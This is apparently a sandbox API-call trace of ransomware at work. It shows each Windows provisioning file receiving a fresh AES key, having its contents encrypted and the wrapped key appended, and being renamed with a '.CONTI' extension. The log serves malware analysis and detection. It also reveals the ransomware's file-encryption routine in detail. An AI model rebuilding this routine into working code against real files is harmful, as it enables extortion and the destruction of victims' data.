	[0113.210] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.210] GetProcessHeap () returned 0x1720000
	[0113.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.210] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0113.210] GetProcessHeap () returned 0x1720000
	[0113.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa8a0 | out: hHeap=0x1720000) returned 1
	[0113.210] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.210] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b6058 | out: phKey=0x65b6058*=0x17c7bf0) returned 1
	[0113.210] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b605c, pdwDataLen=0x4d3fec4 | out: pbData=0x65b605c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.211] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.211] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.212] GetLastError () returned 0x0
	[0113.212] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=720) returned 1
	[0113.212] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0113.212] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.212] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.212] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.212] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.212] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b605c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b605c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.218] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.218] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.218] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2e0) returned 1
	[0113.218] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.218] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.219] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.219] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b6050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b6050*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.219] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.219] CloseHandle (hObject=0x3dc) returned 1
	[0113.219] GetProcessHeap () returned 0x1720000
	[0113.219] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.219] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml"
	[0113.219] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.219] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.220] GetProcessHeap () returned 0x1720000
	[0113.220] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.220] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.220] GetProcessHeap () returned 0x1720000
	[0113.220] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b80f0 | out: hHeap=0x1720000) returned 1
	[0113.220] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.220] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b3500 | out: phKey=0x65b3500*=0x17c7db0) returned 1
	[0113.220] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b3504, pdwDataLen=0x4d3fec4 | out: pbData=0x65b3504*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.221] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0113.221] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.221] GetLastError () returned 0x0
	[0113.221] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=893) returned 1
	[0113.221] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37d
	[0113.221] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.221] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.221] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.222] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.222] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b3504*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b3504*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.228] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.228] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x37d, lpOverlapped=0x0) returned 1
	[0113.228] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x37d, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x380) returned 1
	[0113.228] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.228] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x380, lpOverlapped=0x0) returned 1
	[0113.228] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.228] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b34f8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.228] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.228] CloseHandle (hObject=0x3dc) returned 1
	[0113.228] GetProcessHeap () returned 0x1720000
	[0113.228] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.228] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml"
	[0113.229] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml.CONTI"
	[0113.229] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0113.229] GetProcessHeap () returned 0x1720000
	[0113.229] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.229] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0113.229] GetProcessHeap () returned 0x1720000
	[0113.229] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9e30 | out: hHeap=0x1720000) returned 1
	[0113.229] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.229] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b3748 | out: phKey=0x65b3748*=0x17c7db0) returned 1
	[0113.229] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b374c, pdwDataLen=0x4d3fec4 | out: pbData=0x65b374c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0114.573] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.578] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.587] GetLastError () returned 0x0
	[0114.587] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=467) returned 1
	[0114.589] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d3
	[0114.599] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.599] SetEndOfFile (hFile=0x390) returned 1
	[0114.600] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.600] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.601] WriteFile (in: hFile=0x390, lpBuffer=0x65b374c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b374c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.602] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.602] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1d3, lpOverlapped=0x0) returned 1
	[0114.602] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1d3, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1e0) returned 1
	[0114.602] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.602] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1e0, lpOverlapped=0x0) returned 1
	[0114.602] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.602] WriteFile (in: hFile=0x390, lpBuffer=0x65b3740*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b3740*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0114.603] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.603] CloseHandle (hObject=0x390) returned 1
	[0114.603] GetProcessHeap () returned 0x1720000
	[0114.603] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.603] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0114.603] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0114.603] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0114.604] GetProcessHeap () returned 0x1720000
	[0114.604] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.604] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0114.604] GetProcessHeap () returned 0x1720000
	[0114.604] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819b70 | out: hHeap=0x1720000) returned 1
	[0114.604] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0114.604] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d5998 | out: phKey=0x65d5998*=0x6b7f2b8) returned 1
	[0114.604] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d599c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d599c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0114.604] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0114.605] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0114.605] GetLastError () returned 0x0
	[0114.605] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=716) returned 1
	[0114.605] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0114.605] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.605] SetEndOfFile (hFile=0x390) returned 1
	[0114.606] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.606] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.606] WriteFile (in: hFile=0x390, lpBuffer=0x65d599c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d599c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.607] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.607] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2cc, lpOverlapped=0x0) returned 1
